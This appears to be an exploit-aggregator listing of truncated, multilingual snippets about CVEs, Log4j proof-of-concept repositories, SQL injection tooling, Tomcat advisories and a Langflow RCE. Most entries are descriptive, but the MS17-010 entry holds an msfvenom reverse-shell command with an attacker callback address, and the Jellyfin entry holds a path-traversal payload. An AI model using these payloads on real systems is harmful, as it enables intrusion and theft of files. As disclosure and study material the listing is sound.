EEF-CVE-2026-88255 mpp Tempo keys its pre-broadcast dedup reserve on the caller-supplied transaction encoding, so a re-encoded signed transaction reserves a second slot

Summary Improper Validation of Unsafe Equivalence in Input in ZenHive mpp allows an unauthenticated remote client to pass the Tempo duplicate-submission gate twice with one signed transaction. MPP.Methods.Tempo reserves the pre-broadcast dedup slot on the caller-supplied hex in reservehashatomic/...

log4j-shell-csw

Log4j シンプルなエクスプロイト CVE-2021-44228 脆弱性に対する概念実証エクスプロイト。 Log4j はセキュリティおよびパフォーマンス情報のログ記録に使用され、Java を使用する様々なコンシューマーおよびエンタープライズサービス、ウェブサイト、アプリケーション、さらには医療機器やサポートシステムにわたる30億以上のデバイスに影響を与えます。 注記: これは「ポイントアンドクリック」のエクスプロイトではありません。初期トリガーペイロードは生成されますが、それを適切な場所（HTTP ヘッダー/チャット/等）に注入するのはユーザーの責任です。 前提条件 python3 p...

CVE-2024-0044

CVE-2024-0044/A-307532206 は、Androidフレームワークにおける高深刻度の脆弱性であり、adbアクセスを持つ攻撃者が任意のアプリのUIDで任意のコードを実行することを可能にします。この脆弱性はMeta Red Team XのTom...

CVE-2026-33017-Langflow-RCE-PoC

CVE-2026-33017-Langflow-RCE-PoC Langflow 1.8.1 及更早版本中的漏洞允许远程、未认证的攻击者在主机上实现任意命令执行。 描述 POST /api/v1/buildpublictmp/flowid/flow 端点允许任何人无需认证即可构建公共流程。 通过提供可选的 data 参数，攻击者可以用自己精心构造的定义覆盖存储的流程，并在节点配置中嵌入任意 Python 代码。这些由用户控制的代码通过 exec 执行，且没有任何沙箱或验证机制，从而导致未认证的远程代码执行。 受影响版本 root@kitploit: Langflow 1.8.1 及更早版...

pysqli

PySQLi - Python SQL injection framework 1. Overview PySQLi is a python framework designed to exploit complex SQL injection vulnerabilities. It provides dedicated bricks that can be used to build advanced exploits or easily extended/improved to fit the case. 2. Why another SQLi framework ? Simple...

pysqli

PySQLi - Python SQLインジェクションフレームワーク 1. 概要 PySQLiは、複雑なSQLインジェクションの脆弱性を悪用するために設計されたPythonフレームワークです。 専用の構成要素（ブリック）を提供し、これらを使用して高度なエクスプロイトを構築したり、 状況に応じて簡単に拡張・改良することができます。 2. なぜ別のSQLiフレームワークなのか？ 簡単な答え：SQLインジェクションの脆弱性を悪用する方法はHTTPリクエスト以外にも存在するからです！ ほとんどの既存ツールはHTTP GET/POSTメソッドに依存しており、 他の方法を提供することもあります。...

Security update for tomcat

This update for tomcat fixes the following issues: CVE-2026-65182: Apache Tomcat: Bypass longest prefix security constraint bsc1276893. CVE-2026-65183: Apache Tomcat: TOCTOU when setting specific permissions for Unix Domain Sockets bsc1276894. CVE-2026-65637: Apache Tomcat: HTTP/2 no-authority...

SUSE-SU-2026:4203-1 Security update for tomcat

This update for tomcat fixes the following issues: - CVE-2026-65182: Apache Tomcat: Bypass longest prefix security constraint bsc1276893. - CVE-2026-65183: Apache Tomcat: TOCTOU when setting specific permissions for Unix Domain Sockets bsc1276894. - CVE-2026-65637: Apache Tomcat: HTTP/2...

Log4j2-CVE-2021-44228

CVE-2021-44228 Log4j におけるリモートコードインジェクション https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml デフォルト使用 : root@kitploit: org.springframework.boot spring-boot-starter-log4j2 xml org.springframework.boot spring-boot-starter-web mvn dependency:tree java INFO | | +-...

ban-exploitable-bitcoin-nodes

ban-exploitable-bitcoin-nodes ノードからサービス拒否脆弱性を悪用可能なノードをすべて禁止する CVE-2018-17144 bashスクリプト ban.sh の必要条件 コマンドラインJSONプロセッサ jq DebianベースのLinuxにインストール root@kitploit: sudo apt-get install jq スクリプトのダウンロードと使用 git clone https://github.com/iioch/ban-exploitable-bitcoin-nodes.git 実行: root@kitploit: cd...

CVE-2026-27561

A high-privileged remote attacker can exploit a command injection vulnerability in the /api/iodd/config endpoint by sending a crafted GET request with admin credentials allowing execution of commands with root privileges on the device...

CVE-2026-27563

A high-privileged remote attacker can exploit a command injection vulnerability in the /api/datastorage/data endpoint by sending a crafted GET request with admin credentials allowing execution of commands with root privileges on the device...

CVE-2026-27559

A low-privileged remote attacker can exploit a command injection vulnerability in the /api/status/data endpoint by sending a crafted GET request with user credentials allowing execution of commands with root privileges on the device...

CVE-2021-21402

CVE-2021-21402 CVE-2021-21402 Jellyfin任意ファイル読み取り Wkerスクリプト、バッチ処理可能。 ロジックはとても簡単で、GETでwin.iniにアクセスし、存在するかどうかを確認するだけです： root@kitploit: define payload = /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ define info = CVE-2021-21402 Jellyfin任意文件读取 function mainargs dirs =...

Mini_httpd-CVE-2018-18778

minihttpd任意ファイル読み取り脆弱性（CVE-2018-18778） Minihttpdは小型のHTTPサーバーであり、システムリソースの消費が少ない状態でも一定の性能（Apacheの約90%）を維持できるため、さまざまなIoT機器（ルーター、スイッチ、カメラなど）の組み込みサーバーとして広く使用されています。また、ファーウェイ、Zyxel、海康威視（Hikvision）、ラズベリーパイなどのベンダーのデバイスでもMinihttpdコンポーネントが採用されていました。...

CVE-2022-35899

CVE-2022-35899 引用符なしサービスパス Asus GameSdk エクスプロイトタイトル: Asus GameSDK v1.0.0.4 - 'GameSDK.exe' 引用符なしサービスパス 特権昇格 日付: 07/14/2022 エクスプロイト作者: Angelo Pio Amirante バージョン: 1.0.0.4 テスト環境: Windows 10 修正バージョン: 1.0.5.0 引用符なしサービスパスを発見する手順: root@kitploit: wmic service get name,displayname,pathname,startmode |...

reproducing-CVE-2025-1489

CVE-2025-1489 の再現 このリポジトリは、Web関連のCVE CVE-2025-1489 を安全な環境で再現し、フォレンジック/脆弱性分析スキルを実演・練習するためのものです。 特定・再現された脆弱性は、WordPressプラグインWP-Appbox バージョン4.5.4 におけるストアドクロスサイトスクリプティング XSS...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker 使用 msfvenom 生成 Payload： root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp：指定 payload（一个针对 Windows 的反向 TCP shell）。 LHOST=10.10.14.4：攻击者的 IP 地址（目标将回连的地址）。...

CVE-2024-57429

CVE-2024-57429 PHPJabbers Cinema Booking System v2.0 の pjActionUpdate 関数におけるクロスサイトリクエストフォージェリ CSRF の脆弱性により、リモートの攻撃者が認証済み管理者を騙して不正なリクエストを送信させることで、権限を昇格させることが可能です。 影響: この CSRF 脆弱性の悪用により、以下のような不正な操作が発生する可能性があります: 管理者のパスワードを変更し、実質的にロックアウトする。 攻撃者のユーザーロールを管理者に更新することで、権限を昇格させる。 エクスプロイト - 概念実証 PoC...

damn-vulnerable-log4j-app

SnapAttack Log4j / CVE-2021-44228 / log4shell 资源 包含什么？ 该死的易受攻击的 Log4j 应用（Damn Vulnerable Log4j App） damn-vulnerable-log4j-app 包含一个基本的易受攻击的 Java Servlet，它使用 log4j 记录 User Agent、HTTP GET 和 POST 参数。它被打包为 .war 文件，可以部署到 Tomcat 等服务器上。有关更多信息，请参阅 README。 攻击工件 attack-artifacts 包含示例 EDR、系统和应用程序日志，以及针对...